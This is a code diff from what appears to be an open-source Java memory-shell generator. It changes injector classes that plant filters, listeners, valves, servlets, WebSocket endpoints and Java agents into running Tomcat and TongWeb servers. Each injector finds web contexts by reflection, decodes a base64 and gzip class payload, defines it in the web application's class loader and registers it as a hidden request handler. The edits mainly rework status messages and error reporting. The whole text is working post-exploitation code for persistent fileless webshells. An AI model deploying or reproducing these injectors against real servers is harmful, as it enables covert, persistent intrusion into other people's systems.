filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -209,6 +239,21 @@ public class TomcatFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,32 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Tomcat Listener 注入器
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author pen4uin, ReaJason * @author pen4uin, ReaJason
*/ */
public class TomcatListenerInjector { public class TomcatListenerInjector {
public TomcatListenerInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -38,8 +24,47 @@ public class TomcatListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public TomcatListenerInjector() {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += " [/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -66,18 +91,19 @@ public class TomcatListenerInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -87,26 +113,26 @@ public class TomcatListenerInjector {
List<Object> listeners = (List<Object>) objects; List<Object> listeners = (List<Object>) objects;
for (Object o : listeners) { for (Object o : listeners) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
listeners.add(listener); listeners.add(listener);
System.out.println("listener inject successful");
} else { } else {
ArrayList arrayList = new ArrayList(Arrays.asList(objects)); List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
for (Object o : arrayList) { for (Object o : arrayList) {
if (o.getClass().getName().equals(getClassName())) { if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
return; return;
} }
} }
arrayList.add(listener); arrayList.add(listener);
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
System.out.println("listener inject successful");
} }
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -152,7 +178,7 @@ public class TomcatListenerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -200,4 +226,19 @@ public class TomcatListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -20,18 +21,46 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve; private Object rawValve;
private Object proxyValve; private Object proxyValve;
private String msg = "";
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
Object valve = getShell(context); msg += ("context: [" + getContextRoot(context) + "] ");
inject(context, valve); try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve; this.rawValve = rawValve;
@@ -57,8 +86,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args);
} }
return method.invoke(rawValve, args); return method.invoke(rawValve, args);
} }
@@ -94,15 +123,17 @@ public class TomcatProxyValveInjector implements InvocationHandler {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -114,13 +145,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
String fieldName = "first"; String fieldName = "first";
try { try {
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) { } catch (NoSuchFieldException ignored) {
}
if (rawValve == null) {
fieldName = "basic"; fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName); rawValve = getFieldValue(pipeline, fieldName);
} }
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
setFieldValue(pipeline, fieldName, proxyValve); setFieldValue(pipeline, fieldName, proxyValve);
System.out.println("proxyValve inject successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -168,7 +205,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -208,4 +245,19 @@ public class TomcatProxyValveInjector implements InvocationHandler {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,11 +3,15 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,17 +20,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatServletInjector { public class TomcatServletInjector {
public TomcatServletInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,6 +34,45 @@ public class TomcatServletInjector {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
public TomcatServletInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -68,24 +101,24 @@ public class TomcatServletInjector {
} }
} }
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object servlet) throws Exception { public void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
System.out.println("servlet already injected");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -104,19 +137,11 @@ public class TomcatServletInjector {
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
} }
support56Inject(context, wrapper); support56Inject(context, wrapper);
System.out.println("servlet inject success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings"); return msg;
Collection<String> values = servletMappings.values();
for (String name : values) {
if (name.equals(getClassName())) {
return true;
}
}
return false;
} }
private void support56Inject(Object context, Object wrapper) throws Exception { private void support56Inject(Object context, Object wrapper) throws Exception {
@@ -249,4 +274,19 @@ public class TomcatServletInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,34 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Valve 注入器
* Tested version
* jdk v1.8.0_275
* tomcat v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class TomcatValveInjector { public class TomcatValveInjector {
public TomcatValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -40,6 +24,45 @@ public class TomcatValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -62,41 +85,37 @@ public class TomcatValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
} }
}
return false;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
@@ -144,7 +163,7 @@ public class TomcatValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -172,4 +191,19 @@ public class TomcatValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -18,17 +19,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TomcatWebSocketInjector { public class TomcatWebSocketInjector {
public TomcatWebSocketInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object obj = getShell(context);
inject(obj, context);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -42,6 +33,44 @@ public class TomcatWebSocketInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public TomcatWebSocketInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
@@ -73,21 +102,23 @@ public class TomcatWebSocketInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
private void inject(Object obj, Object context) throws Exception { private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null); Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) { if (container == null) {
@@ -95,11 +126,10 @@ public class TomcatWebSocketInjector {
} }
if (container == null) { if (container == null) {
return; throw new RuntimeException("container is null");
} }
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
System.out.println("websocket at " + getUrlPattern() + " already exists");
return; return;
} }
@@ -121,7 +151,11 @@ public class TomcatWebSocketInjector {
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
System.out.println("websocket at " + getUrlPattern() + " inject successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -197,7 +231,22 @@ public class TomcatWebSocketInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke");
} }
} }
} }
@@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -45,7 +45,6 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".doFilter");
} }
} }
} }
@@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -10,14 +11,14 @@ import java.util.Collection;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class TongWebFilterInjector { public class TongWebFilterInjector {
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -32,16 +33,43 @@ public class TongWebFilterInjector {
} }
public TongWebFilterInjector() { public TongWebFilterInjector() {
Set<Object> contexts = null;
try { try {
Set<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
Object filter = getShell(context); msg += ("context: [" + getContextRoot(context) + "] ");
inject(context, filter); try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
